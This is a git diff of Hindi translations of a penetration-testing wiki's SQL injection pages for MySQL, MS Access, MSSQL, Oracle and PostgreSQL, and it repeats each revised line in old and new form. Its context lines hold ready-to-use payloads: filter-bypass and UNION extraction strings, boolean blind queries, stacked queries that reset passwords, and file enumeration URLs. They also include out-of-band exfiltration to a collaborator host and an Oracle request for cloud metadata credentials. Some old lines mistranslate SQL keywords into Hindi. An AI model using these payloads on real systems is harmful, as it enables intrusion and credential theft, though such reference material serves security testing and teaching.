MySQL में `ON DUPLICATE KEY UPDATE` क्लॉज का उपयोग तब किया जाता है जब एक पंक्ति को डालने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा। निम्नलिखित उदाहरण दिखाता है कि इस सुविधा का उपयोग कैसे किया जा सकता है ताकि एक व्यवस्थापक खाते का पासवर्ड संशोधित किया जा सके:
|
||||
MySQL में `ON DUPLICATE KEY UPDATE` क्लॉज़ का उपयोग तब किया जाता है जब एक पंक्ति को डालने का प्रयास किया जाता है जो UNIQUE इंडेक्स या PRIMARY KEY में डुप्लिकेट मान का परिणाम देगा। निम्नलिखित उदाहरण दिखाता है कि इस सुविधा का उपयोग कैसे किया जा सकता है ताकि एक व्यवस्थापक खाते का पासवर्ड संशोधित किया जा सके:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
@ -401,7 +401,7 @@ No Space (%20) - whitespace विकल्पों का उपयोग क
|
||||
?id=1%0Aand%0A1=1%0A--
|
||||
?id=1%A0and%A01=1%A0--
|
||||
```
|
||||
कोई व्हाइटस्पेस - टिप्पणियों का उपयोग करके बायपास
|
||||
कोई व्हाइटस्पेस नहीं - टिप्पणियों का उपयोग करके बायपास करें
|
||||
```sql
|
||||
?id=1/*comment*/and/**/1=1/**/--
|
||||
```
|
||||
@ -419,7 +419,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
|
||||
```
|
||||
### Generic Bypasses
|
||||
|
||||
कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास
|
||||
कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास करें
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
?id=1 AnD 1=1#
|
||||
@ -444,14 +444,14 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### कॉलम नामों की सीमा को बायपास करें
|
||||
|
||||
सबसे पहले, ध्यान दें कि यदि **मूल क्वेरी और वह तालिका जहाँ आप ध्वज निकालना चाहते हैं, में समान संख्या में कॉलम हैं** तो आप बस कर सकते हैं: `0 UNION SELECT * FROM flag`
|
||||
सबसे पहले, ध्यान दें कि यदि **मूल क्वेरी और वह तालिका जहाँ से आप ध्वज निकालना चाहते हैं, में समान संख्या में कॉलम हैं** तो आप बस कर सकते हैं: `0 UNION SELECT * FROM flag`
|
||||
|
||||
आप **किसी तालिका के तीसरे कॉलम तक उसके नाम का उपयोग किए बिना पहुँच सकते हैं** एक क्वेरी का उपयोग करके जैसे: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, तो एक sqlinjection में यह इस तरह दिखेगा:
|
||||
यह संभव है कि **किसी तालिका के तीसरे कॉलम तक उसके नाम का उपयोग किए बिना पहुंचा जाए** एक क्वेरी का उपयोग करके जैसे: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, तो एक sqlinjection में यह इस तरह दिखेगा:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
```
|
||||
या **कमा बायपास** का उपयोग करके:
|
||||
या **कॉमा बायपास** का उपयोग करके:
|
||||
```bash
|
||||
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
|
||||
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
|
||||
|
@ -17,7 +17,7 @@
|
||||
```
|
||||
### टिप्पणियाँ
|
||||
|
||||
MS Access में कोई टिप्पणियाँ नहीं हैं, लेकिन स्पष्ट रूप से एक NULL चर के साथ एक क्वेरी के अंतिम को हटाना संभव है:
|
||||
MS Access में कोई टिप्पणियाँ नहीं हैं, लेकिन स्पष्ट रूप से एक NULL कैरेक्टर के साथ एक क्वेरी के अंतिम को हटाना संभव है:
|
||||
```sql
|
||||
1' union select 1,2 from table%00
|
||||
```
|
||||
@ -31,7 +31,7 @@ MS Access में कोई टिप्पणियाँ नहीं है
|
||||
|
||||
### LIMIT
|
||||
|
||||
**`LIMIT`** ऑपरेटर **कार्यान्वित नहीं किया गया है**। हालाँकि, SELECT क्वेरी परिणामों को **पहले N तालिका पंक्तियों तक सीमित करना संभव है `TOP` ऑपरेटर का उपयोग करके**। `TOP` एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो लौटाई जाने वाली पंक्तियों की संख्या का प्रतिनिधित्व करता है।
|
||||
**`LIMIT`** ऑपरेटर **कार्यान्वित नहीं है**। हालाँकि, SELECT क्वेरी परिणामों को **पहले N तालिका पंक्तियों तक सीमित करना संभव है `TOP` ऑपरेटर का उपयोग करके**। `TOP` एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो लौटाई जाने वाली पंक्तियों की संख्या का प्रतिनिधित्व करता है।
|
||||
```sql
|
||||
1' UNION SELECT TOP 3 attr FROM table%00
|
||||
```
|
||||
@ -39,8 +39,8 @@ MS Access में कोई टिप्पणियाँ नहीं है
|
||||
|
||||
## UNION Queries/Sub queries
|
||||
|
||||
SQLi में, आप आमतौर पर किसी न किसी तरह से एक नई क्वेरी निष्पादित करना चाहेंगे ताकि अन्य तालिकाओं से जानकारी निकाली जा सके। MS Access हमेशा आवश्यक है कि **उपक्वेरियों या अतिरिक्त क्वेरियों में `FROM` को इंगित किया जाए**।\
|
||||
तो, यदि आप `UNION SELECT` या `UNION ALL SELECT` या एक शर्त में कोष्ठक के बीच `SELECT` निष्पादित करना चाहते हैं, तो आपको हमेशा **एक मान्य तालिका नाम के साथ `FROM` को इंगित करने की आवश्यकता है**।\
|
||||
SQLi में, आप आमतौर पर किसी न किसी तरह से एक नया क्वेरी निष्पादित करना चाहेंगे ताकि अन्य तालिकाओं से जानकारी निकाली जा सके। MS Access हमेशा यह आवश्यक करता है कि **उप-प्रश्नों या अतिरिक्त प्रश्नों में `FROM` को इंगित किया जाए**।\
|
||||
तो, यदि आप `UNION SELECT` या `UNION ALL SELECT` या एक शर्त में कोष्ठक के बीच `SELECT` निष्पादित करना चाहते हैं, तो आपको हमेशा **एक मान्य तालिका नाम के साथ `FROM` को इंगित करने की आवश्यकता होती है**।\
|
||||
इसलिए, आपको एक **मान्य तालिका नाम** जानने की आवश्यकता है।
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
@ -52,11 +52,11 @@ SQLi में, आप आमतौर पर किसी न किसी त
|
||||
|
||||
**MS Access** अजीब **सिंटैक्स** की अनुमति देता है जैसे **`'1'=2='3'='asd'=false`**। जैसा कि आमतौर पर SQL injection एक **`WHERE`** क्लॉज के अंदर होगा, हम इसका दुरुपयोग कर सकते हैं।
|
||||
|
||||
कल्पना करें कि आपके पास एक MS Access डेटाबेस में SQLi है और आप जानते हैं (या अनुमान लगाते हैं) कि एक **कॉलम का नाम username** है, और यही वह फ़ील्ड है जिसे आप **exfiltrate** करना चाहते हैं। आप वेब ऐप के विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं जब चेनिंग इक्वल्स तकनीक का उपयोग किया जाता है और संभावित रूप से **`Mid`** फ़ंक्शन का उपयोग करके सबस्ट्रिंग प्राप्त करने के लिए **boolean injection** के साथ सामग्री निकाल सकते हैं।
|
||||
कल्पना करें कि आपके पास एक MS Access डेटाबेस में SQLi है और आप जानते हैं (या अनुमान लगाते हैं) कि एक **कॉलम का नाम username** है, और यही वह फ़ील्ड है जिसे आप **exfiltrate** करना चाहते हैं। आप चेनिंग इक्वल्स तकनीक का उपयोग करते समय वेब ऐप की विभिन्न प्रतिक्रियाओं की जांच कर सकते हैं और संभावित रूप से **`Mid`** फ़ंक्शन का उपयोग करके सबस्ट्रिंग प्राप्त करने के लिए **boolean injection** के साथ सामग्री निकाल सकते हैं।
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
यदि आप **टेबल का नाम** और **कॉलम** जानते हैं जिसे डंप करना है, तो आप `Mid`, `LAST` और `TOP` के बीच एक संयोजन का उपयोग कर सकते हैं ताकि **सभी जानकारी लीक** की जा सके बूलियन SQLi के माध्यम से:
|
||||
यदि आप **तालिका का नाम** और **कॉलम** जानते हैं जिसे डंप करना है, तो आप `Mid`, `LAST` और `TOP` के बीच एक संयोजन का उपयोग कर सकते हैं ताकि **सभी जानकारी लीक** की जा सके बूलियन SQLi के माध्यम से:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
@ -68,18 +68,18 @@ _इसका ऑनलाइन प्लेग्राउंड में ज
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
आप एक अधिक पारंपरिक तरीके का भी उपयोग कर सकते हैं:
|
||||
आप एक अधिक पारंपरिक तरीका भी उपयोग कर सकते हैं:
|
||||
```sql
|
||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||
```
|
||||
_इसे ऑनलाइन प्लेग्राउंड में चेक करने के लिए स्वतंत्र महसूस करें।_
|
||||
_इसे ऑनलाइन प्लेग्राउंड में जांचने के लिए स्वतंत्र महसूस करें।_
|
||||
|
||||
- Sqlmap सामान्य तालिका नाम: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) में एक और सूची है
|
||||
|
||||
### ब्रूट-फोर्सिंग कॉलम नाम
|
||||
|
||||
आप **चेनिंग इक्वल्स ट्रिक** के साथ वर्तमान कॉलम नामों को **ब्रूट-फोर्स** कर सकते हैं:
|
||||
आप **चेनिंग बराबर ट्रिक** के साथ वर्तमान कॉलम नामों को **ब्रूट-फोर्स** कर सकते हैं:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -138,13 +138,13 @@ order by MSysObjects.name
|
||||
|
||||
MS Access एक **त्रुटि संदेश के साथ प्रतिक्रिया करता है जिसमें वेब डायरेक्टरी का पूर्ण पथ होता है**।
|
||||
|
||||
### फ़ाइल एन्यूमरेशन
|
||||
### फ़ाइल सूचीकरण
|
||||
|
||||
निम्नलिखित हमलावर वेक्टर का उपयोग **दूरस्थ फ़ाइल सिस्टम पर एक फ़ाइल के अस्तित्व का अनुमान लगाने के लिए किया जा सकता है**। यदि निर्दिष्ट फ़ाइल मौजूद है, तो MS Access एक त्रुटि संदेश उत्पन्न करता है जो सूचित करता है कि डेटाबेस प्रारूप अमान्य है:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
फ़ाइलों को एन्यूमरेट करने का एक और तरीका **एक डेटाबेस.तालिका आइटम को निर्दिष्ट करना** है। **यदि** निर्दिष्ट **फ़ाइल मौजूद है**, तो MS Access एक **डेटाबेस प्रारूप त्रुटि संदेश** प्रदर्शित करता है।
|
||||
फ़ाइलों को सूचीबद्ध करने का एक और तरीका **एक डेटाबेस.तालिका आइटम को निर्दिष्ट करना** है। **यदि** निर्दिष्ट **फ़ाइल मौजूद है**, तो MS Access एक **डेटाबेस प्रारूप त्रुटि संदेश** प्रदर्शित करता है।
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||
|
||||
@ -158,7 +158,7 @@ MS Access एक **त्रुटि संदेश के साथ प्र
|
||||
|
||||
### .mdb पासवर्ड क्रैकर
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) एक मुफ्त उपयोगिता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 के मुख्य डेटाबेस पासवर्ड को पुनर्प्राप्त करने के लिए किया जा सकता है।
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) एक मुफ्त उपयोगिता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 का मुख्य डेटाबेस पासवर्ड पुनर्प्राप्त करने के लिए किया जा सकता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -8,8 +8,8 @@
|
||||
|
||||
- **`SELECT DEFAULT_DOMAIN()`**: वर्तमान डोमेन नाम प्राप्त करें।
|
||||
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: यदि आप डोमेन का नाम जानते हैं (_DOMAIN_ इस उदाहरण में) तो यह फ़ंक्शन **Administrator उपयोगकर्ता का SID** हेक्स प्रारूप में लौटाएगा। यह इस तरह दिखेगा `0x01050000000[...]0000f401`, ध्यान दें कि **अंतिम 4 बाइट्स** संख्या **500** हैं **बिग एंडियन** प्रारूप में, जो **उपयोगकर्ता व्यवस्थापक का सामान्य ID** है।\
|
||||
यह फ़ंक्शन आपको **डोमेन का ID जानने** की अनुमति देगा (अंतिम 4 के अलावा सभी बाइट्स)।
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : यह फ़ंक्शन **निर्दिष्ट ID का उपयोगकर्ता नाम लौटाएगा** (यदि कोई हो), इस मामले में **0000e803** बिग एंडियन == **1000** (आमतौर पर यह पहले नियमित उपयोगकर्ता ID का ID होता है)। फिर आप कल्पना कर सकते हैं कि आप 1000 से 2000 तक उपयोगकर्ता IDs को ब्रूट-फोर्स कर सकते हैं और संभवतः डोमेन के सभी उपयोगकर्ताओं के उपयोगकर्ता नाम प्राप्त कर सकते हैं। उदाहरण के लिए, निम्नलिखित फ़ंक्शन का उपयोग करके:
|
||||
यह फ़ंक्शन आपको **डोमेन का ID जानने** की अनुमति देगा (अंतिम 4 बाइट्स को छोड़कर सभी बाइट्स)।
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : यह फ़ंक्शन **संकेतित ID का उपयोगकर्ता नाम लौटाएगा** (यदि कोई हो), इस मामले में **0000e803** बिग एंडियन == **1000** (आमतौर पर यह पहले नियमित उपयोगकर्ता ID का ID होता है)। फिर आप कल्पना कर सकते हैं कि आप 1000 से 2000 तक उपयोगकर्ता IDs को ब्रूट-फोर्स कर सकते हैं और संभवतः डोमेन के सभी उपयोगकर्ताओं के उपयोगकर्ता नाम प्राप्त कर सकते हैं। उदाहरण के लिए, निम्नलिखित फ़ंक्शन का उपयोग करके:
|
||||
```python
|
||||
def get_sid(n):
|
||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||
@ -139,11 +139,11 @@ SELECT dbo.http(@url);
|
||||
```
|
||||
### **त्वरित शोषण: एकल क्वेरी में संपूर्ण तालिका सामग्री प्राप्त करना**
|
||||
|
||||
[यहां से ट्रिक](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)।
|
||||
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
||||
|
||||
एकल क्वेरी में तालिका की संपूर्ण सामग्री निकालने के लिए एक संक्षिप्त विधि `FOR JSON` क्लॉज का उपयोग करना है। यह दृष्टिकोण `FOR XML` क्लॉज की तुलना में अधिक संक्षिप्त है, जिसे "raw" जैसे विशिष्ट मोड की आवश्यकता होती है। संक्षिप्तता के लिए `FOR JSON` क्लॉज को प्राथमिकता दी जाती है।
|
||||
एकल क्वेरी में तालिका की संपूर्ण सामग्री निकालने के लिए एक संक्षिप्त विधि `FOR JSON` क्लॉज का उपयोग करना है। यह दृष्टिकोण `FOR XML` क्लॉज की तुलना में अधिक संक्षिप्त है, जिसे "raw" जैसे विशेष मोड की आवश्यकता होती है। संक्षिप्तता के लिए `FOR JSON` क्लॉज को प्राथमिकता दी जाती है।
|
||||
|
||||
यहां वर्तमान डेटाबेस से स्कीमा, तालिकाओं और कॉलमों को प्राप्त करने का तरीका है:
|
||||
यहाँ वर्तमान डेटाबेस से स्कीमा, तालिकाएँ और कॉलम प्राप्त करने का तरीका है:
|
||||
````sql
|
||||
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
||||
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
|
||||
@ -209,11 +209,11 @@ SELECT 'a' SELECT 'b'
|
||||
So for example, multiple queries such as:
|
||||
|
||||
```sql
|
||||
उपयोग करें [tempdb]
|
||||
टेबल बनाएँ [test] ([id] int)
|
||||
डालें [test] मान(1)
|
||||
चुनें [id] से [test]
|
||||
टेबल गिराएँ [test]
|
||||
use [tempdb]
|
||||
create table [test] ([id] int)
|
||||
insert [test] values(1)
|
||||
select [id] from [test]
|
||||
drop table[test]
|
||||
```
|
||||
|
||||
Can be reduced to:
|
||||
@ -231,7 +231,7 @@ admina'union select 1,'admin','testtest123'exec('select 1')--
|
||||
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
||||
exec('select 1')--'
|
||||
|
||||
# अजीब तरीके से बनाए गए क्वेरियों का उपयोग करना
|
||||
# अजीब तरीके से बनाए गए क्वेरी का उपयोग करना
|
||||
admin'exec('update[users]set[password]=''a''')--
|
||||
## यह होगा:
|
||||
SELECT id, username, password FROM users WHERE username = 'admin'
|
||||
|
@ -64,12 +64,12 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||||
- `group_concat()`
|
||||
- `Limit X,1`
|
||||
|
||||
### **अंधा एक-एक करके**
|
||||
### **ब्लाइंड एक-एक करके**
|
||||
|
||||
- `substr(version(),X,1)='r'` या `substring(version(),X,1)=0x70` या `ascii(substr(version(),X,1))=112`
|
||||
- `mid(version(),X,1)='5'`
|
||||
|
||||
### **अंधा जोड़ना**
|
||||
### **ब्लाइंड जोड़ना**
|
||||
|
||||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||||
|
@ -16,7 +16,7 @@ SQL आउट ऑफ बैंड डेटा एक्सफिल्ट्र
|
||||
|
||||
### उपयोगकर्ता परिभाषित फ़ंक्शंस (UDF) के माध्यम से रिमोट कोड निष्पादन (RCE)
|
||||
|
||||
MySQL डेटाबेस बाहरी पुस्तकालय फ़ाइलों से उपयोगकर्ता परिभाषित फ़ंक्शंस (UDF) के उपयोग की पेशकश करते हैं। यदि ये पुस्तकालय विशिष्ट निर्देशिकाओं के भीतर या सिस्टम के `$PATH` में सुलभ हैं, तो इन्हें MySQL के भीतर से बुलाया जा सकता है।
|
||||
MySQL डेटाबेस बाहरी पुस्तकालय फ़ाइलों से उपयोगकर्ता परिभाषित फ़ंक्शंस (UDF) के उपयोग की पेशकश करते हैं। यदि ये पुस्तकालय विशिष्ट निर्देशिकाओं के भीतर या सिस्टम के `$PATH` में उपलब्ध हैं, तो इन्हें MySQL के भीतर से बुलाया जा सकता है।
|
||||
|
||||
यह तकनीक UDF के माध्यम से नेटवर्क/HTTP अनुरोधों के निष्पादन की अनुमति देती है, बशर्ते कई शर्तें पूरी हों, जिसमें `@@plugin_dir` पर लिखने की अनुमति, `file_priv` को `Y` पर सेट करना, और `secure_file_priv` को अक्षम करना शामिल है।
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
## SSRF
|
||||
|
||||
Oracle का उपयोग Out of Band HTTP और DNS अनुरोध करने के लिए अच्छी तरह से प्रलेखित है लेकिन SQL डेटा को एक्सफिल्ट्रेट करने के लिए इंजेक्शनों में। हम हमेशा इन तकनीकों/फंक्शंस को अन्य SSRF/XSPA करने के लिए संशोधित कर सकते हैं।
|
||||
Oracle का उपयोग Out of Band HTTP और DNS अनुरोध करने के लिए अच्छी तरह से प्रलेखित है लेकिन SQL डेटा को एक्सफिल्ट्रेट करने के लिए इंजेक्शन में। हम हमेशा इन तकनीकों/फंक्शंस को अन्य SSRF/XSPA करने के लिए संशोधित कर सकते हैं।
|
||||
|
||||
Oracle स्थापित करना वास्तव में दर्दनाक हो सकता है, विशेष रूप से यदि आप कमांड आजमाने के लिए एक त्वरित उदाहरण सेट करना चाहते हैं। मेरे दोस्त और सहयोगी [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), ने मुझे [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) की ओर इशारा किया जिसने मुझे एक t2.large AWS Ubuntu मशीन और Docker पर एक उदाहरण सेट करने की अनुमति दी।
|
||||
|
||||
@ -37,7 +37,7 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
|
||||
- DBMS_STREAMS_ADM
|
||||
- UTL_HTTP
|
||||
|
||||
यह कच्ची खोज स्पष्ट रूप से ऐसे पैकेजों को छोड़ देती है जैसे `DBMS_LDAP` (जो एक होस्टनाम और पोर्ट नंबर पास करने की अनुमति देता है) क्योंकि [डॉक्यूमेंटेशन पृष्ठ](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) आपको बस [एक अलग स्थान](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) पर ले जाता है। इसलिए, अन्य Oracle पैकेज हो सकते हैं जिनका दुरुपयोग करके आउटबाउंड अनुरोध किए जा सकते हैं जिन्हें मैंने छोड़ दिया हो सकता है।
|
||||
यह कच्ची खोज स्पष्ट रूप से ऐसे पैकेजों को छोड़ देती है जैसे `DBMS_LDAP` (जो एक होस्टनाम और पोर्ट नंबर पास करने की अनुमति देता है) क्योंकि [डॉक्यूमेंटेशन पृष्ठ](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) आपको बस [एक अलग स्थान](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) पर ले जाता है। इसलिए, अन्य Oracle पैकेज हो सकते हैं जिन्हें आउटबाउंड अनुरोध करने के लिए दुरुपयोग किया जा सकता है जिन्हें मैंने छोड़ दिया हो सकता है।
|
||||
|
||||
किसी भी मामले में, आइए हम कुछ पैकेजों पर नज़र डालते हैं जिन्हें हमने खोजा और ऊपर सूचीबद्ध किया है।
|
||||
|
||||
@ -49,7 +49,7 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
|
||||
```
|
||||
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
|
||||
```
|
||||
हालांकि, यह देखते हुए कि फ़ंक्शन एक होस्टनाम और एक पोर्ट नंबर को तर्क के रूप में स्वीकार करता है, आप इसका उपयोग पोर्ट स्कैनर की तरह भी कर सकते हैं।
|
||||
हालांकि, यह देखते हुए कि यह फ़ंक्शन एक होस्टनाम और एक पोर्ट नंबर को तर्क के रूप में स्वीकार करता है, आप इसका उपयोग पोर्ट स्कैनर की तरह भी कर सकते हैं।
|
||||
|
||||
यहाँ कुछ उदाहरण हैं
|
||||
```
|
||||
@ -62,9 +62,9 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
|
||||
|
||||
**UTL_SMTP**
|
||||
|
||||
`UTL_SMTP` पैकेज SMTP के माध्यम से ई-मेल भेजने के लिए डिज़ाइन किया गया है। [Oracle दस्तावेज़ साइट पर प्रदान किया गया उदाहरण दिखाता है कि आप इस पैकेज का उपयोग करके ई-मेल कैसे भेज सकते हैं](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)। हमारे लिए, हालांकि, दिलचस्प बात यह है कि एक होस्ट और पोर्ट विनिर्देशन प्रदान करने की क्षमता है।
|
||||
`UTL_SMTP` पैकेज SMTP के माध्यम से ई-मेल भेजने के लिए डिज़ाइन किया गया है। [Oracle दस्तावेज़ साइट पर दिया गया उदाहरण दिखाता है कि आप इस पैकेज का उपयोग करके ई-मेल कैसे भेज सकते हैं](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)। हमारे लिए, हालांकि, दिलचस्प बात यह है कि एक होस्ट और पोर्ट विनिर्देशन प्रदान करने की क्षमता है।
|
||||
|
||||
एक कच्चा उदाहरण नीचे `UTL_SMTP.OPEN_CONNECTION` फ़ंक्शन के साथ दिखाया गया है, जिसमें 2 सेकंड का टाइमआउट है।
|
||||
नीचे एक कच्चा उदाहरण दिया गया है जिसमें `UTL_SMTP.OPEN_CONNECTION` फ़ंक्शन है, जिसमें 2 सेकंड का टाइमआउट है।
|
||||
```
|
||||
DECLARE c utl_smtp.connection;
|
||||
BEGIN
|
||||
@ -82,7 +82,7 @@ END;
|
||||
|
||||
**UTL_TCP**
|
||||
|
||||
`UTL_TCP` पैकेज और इसके प्रक्रियाएँ और फ़ंक्शन [सेवाओं के साथ TCP/IP आधारित संचार की अनुमति देते हैं](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)। यदि किसी विशेष सेवा के लिए प्रोग्राम किया गया है, तो यह पैकेज नेटवर्क में प्रवेश करने का एक तरीका बन सकता है या पूर्ण सर्वर साइड अनुरोध कर सकता है क्योंकि TCP/IP कनेक्शन के सभी पहलुओं को नियंत्रित किया जा सकता है।
|
||||
`UTL_TCP` पैकेज और इसके प्रक्रियाएँ और फ़ंक्शन [सेवाओं के साथ TCP/IP आधारित संचार की अनुमति देते हैं](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)। यदि किसी विशेष सेवा के लिए प्रोग्राम किया गया है, तो यह पैकेज नेटवर्क में प्रवेश करने का एक आसान तरीका बन सकता है या पूर्ण सर्वर साइड अनुरोध कर सकता है क्योंकि TCP/IP कनेक्शन के सभी पहलुओं को नियंत्रित किया जा सकता है।
|
||||
|
||||
उदाहरण [Oracle दस्तावेज़ साइट पर दिखाता है कि आप इस पैकेज का उपयोग करके एक कच्चा TCP कनेक्शन कैसे बना सकते हैं ताकि एक वेब पृष्ठ को प्राप्त किया जा सके](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)। हम इसे थोड़ा और सरल बना सकते हैं और इसका उपयोग मेटाडेटा उदाहरण के लिए या किसी मनमाने TCP/IP सेवा के लिए अनुरोध करने के लिए कर सकते हैं।
|
||||
```
|
||||
@ -128,11 +128,11 @@ END;
|
||||
|
||||
**UTL_HTTP और वेब अनुरोध**
|
||||
|
||||
शायद हर Out of Band Oracle SQL Injection ट्यूटोरियल में सबसे सामान्य और व्यापक रूप से प्रलेखित तकनीक [`UTL_HTTP` पैकेज](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) है। इस पैकेज को प्रलेखन द्वारा इस प्रकार परिभाषित किया गया है - `UTL_HTTP पैकेज SQL और PL/SQL से हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल (HTTP) कॉलआउट करता है। आप इसका उपयोग HTTP के माध्यम से इंटरनेट पर डेटा तक पहुँचने के लिए कर सकते हैं।`
|
||||
शायद हर Out of Band Oracle SQL Injection ट्यूटोरियल में सबसे सामान्य और व्यापक रूप से प्रलेखित तकनीक [`UTL_HTTP` पैकेज](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070) है। इस पैकेज को प्रलेखन द्वारा इस प्रकार परिभाषित किया गया है - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
|
||||
```
|
||||
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
|
||||
```
|
||||
आप इसे कुछ मौलिक पोर्ट स्कैनिंग करने के लिए भी उपयोग कर सकते हैं जैसे कि प्रश्नों के साथ
|
||||
आप इसके साथ कुछ मौलिक पोर्ट स्कैनिंग करने के लिए भी इसका उपयोग कर सकते हैं, जैसे कि प्रश्नों के साथ
|
||||
```
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
|
||||
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
---
|
||||
|
||||
**यह पृष्ठ विभिन्न तरकीबों को समझाने का लक्ष्य रखता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL injection का लाभ उठाने में मदद कर सकती हैं और उन तरकीबों को पूरा कर सकती हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।**
|
||||
**यह पृष्ठ विभिन्न तरकीबों को समझाने का प्रयास करता है जो आपको PostgreSQL डेटाबेस में पाए गए SQL injection का लाभ उठाने में मदद कर सकती हैं और उन तरकीबों को पूरा कर सकती हैं जो आप** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **पर पा सकते हैं।**
|
||||
|
||||
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
|
||||
|
||||
